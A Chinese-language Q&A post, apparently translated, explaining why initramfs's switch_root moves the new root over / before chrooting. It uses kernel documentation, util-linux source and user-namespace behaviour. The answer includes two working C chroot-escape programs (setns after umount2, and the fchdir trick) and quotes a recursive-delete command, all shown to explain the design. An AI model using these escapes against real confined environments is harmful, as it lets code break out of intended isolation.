為什麼 initramfs 需要用新的根目錄覆蓋 rootfs?
我閱讀了有關initramfs的linux 文件和.
switch_root
文件說:
當切換另一個根設備時,initrd 將 pivot_root 然後解除安裝 ramdisk。但是 initramfs 是 rootfs:您既不能 pivot_root rootfs,也不能解除安裝它。而是從 rootfs 中刪除所有內容以釋放空間(find -xdev / -exec rm ‘{}’ ‘;’),用新的 root 覆蓋 rootfs (cd /newmount; mount –move ./; chroot .),將 stdin/stdout/stderr 附加到新的 /dev/console,並執行新的 init。
並且
switch_root
確實這樣做了:if (chdir(newroot)) { warn(_("failed to change directory to %s"), newroot); return -1; } ... if (mount(newroot, "/", NULL, MS_MOVE, NULL) < 0) { close(cfd); warn(_("failed to mount moving %s to /"), newroot); return -1; } ... if (chroot(".")) { close(cfd); warn(_("failed to change root")); return -1; }
為什麼我們需要移動掛載點
/
?為什麼 chroot 到 new_root 還不夠?
編輯:感謝@timothy-baldwin 編輯。
new_root
mount over會改變掛載/
命名空間的根目錄,chrooting 不overmounting/
會導致系統處於一個chroot
環境中(根目錄與掛載命名空間的根目錄不匹配)。這會導致一些問題,例如:
1. chroot 內部不允許創建使用者命名空間。
根據,在 chroot 環境中
man 2 unshare
,unshare
ing 使用者命名空間將失敗。EPERM
EPERM (since Linux 3.9) CLONE_NEWUSER was specified in flags and the caller is in a chroot environment (i.e., the caller's root directory does not match the root directory of the mount namespace in which it resides).
$ unshare -U unshare: unshare failed: Operation not permitted
2.進入掛載命名空間會將根目錄設置為命名空間的根目錄
進入掛載命名空間會將程序的根目錄設置為掛載命名空間的根目錄,因此
setns
對我們的掛載命名空間進行操作會將我們的根目錄設置為 rootfs 目錄。$ nsenter -m/proc/self/ns/mnt /bin/sh $ ls -ld /new_root new_root
我可以看到我的 chroot 之外的 new_root 目錄。
掛載
/
並不能真正阻止逃離 chrootroot 使用者可以在
umount
這個目錄下,重新進入其掛載命名空間 (setns
) 並查看 rootfs:#define _GNU_SOURCE #include <sys/types.h> #include <sys/stat.h> #include <sys/mount.h> #include <unistd.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> int main() { int ns = open("/proc/self/ns/mnt", O_RDONLY); if (ns == -1) { perror("open"); goto out; } if (umount2("/", MNT_DETACH)) { perror("umount2"); goto out; } if (setns(ns, CLONE_NEWNS)) { perror("setns"); goto out; } char *a[] = { "/bin/sh", NULL }; char *e[] = { NULL }; execve(a[0], a, e); perror("execve"); out: return 1; }
$ gcc -o main main.c $ unshare -m ./main / # ls -d new_root new_root / # mount -t proc proc /proc / # cat /proc/mounts none / rootfs rw 0 0 proc /proc proc rw,relatime 0 0
為了防止 chroot 逃逸,必須 安裝new_root
over 。/
創建了一個最小的 initramfs 並
switch_root
用這個 shell 腳本替換二進製文件以獲得一個 shell:#!/bin/sh exec /bin/sh
/bin/sh
還將 initramfs 內部更改為靜態連結的busybox
.編譯以下程式碼並靜態連結:
#include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> int main() { int fd = open(".", O_RDONLY | O_CLOEXEC); if (fd < 0) { perror("open"); goto out0; } if (chroot("tmp")) { perror("chroot"); goto out1; } if (fchdir(fd)) { perror("fchdir"); goto out1; } if (chdir("..")) { perror("chdir"); goto out1; } char *const argvp[] = { "sh", NULL }; char *const envp[] = { NULL }; execve("bin/sh", argvp, envp); perror("execve"); out1: close(fd); out0: return 1; }
將我的真實根文件系統的根目錄作為
/escape
.
switch_root
在發生之前重新啟動並獲得了一個外殼。無需過度安裝根
$ mount --move proc new_root/proc $ mount --move dev new_root/dev $ mount --move sys new_root/sys $ mount --move run new_root/run $ exec chroot new_root $ ./escape $ ls -d new_root new_root
我逃離了 chroot。
帶有超載根
$ mount --move proc new_root/proc $ mount --move dev new_root/dev $ mount --move sys new_root/sys $ mount --move run new_root/run $ cd new_root $ mount --move . / $ exec chroot . $ ./escape $ ls -d new_root ls: cannot access 'new_root': No such file or directory
我無法逃脫 chroot。
不過度掛載 rootfs 會破壞使用者和掛載命名空間:
setns
系統呼叫會將呼叫者根目錄設置為掛載命名空間的根目錄,撤消chroot
.- 如果程序根目錄不是其掛載命名空間的根目錄,則禁止非特權程序創建使用者命名空間。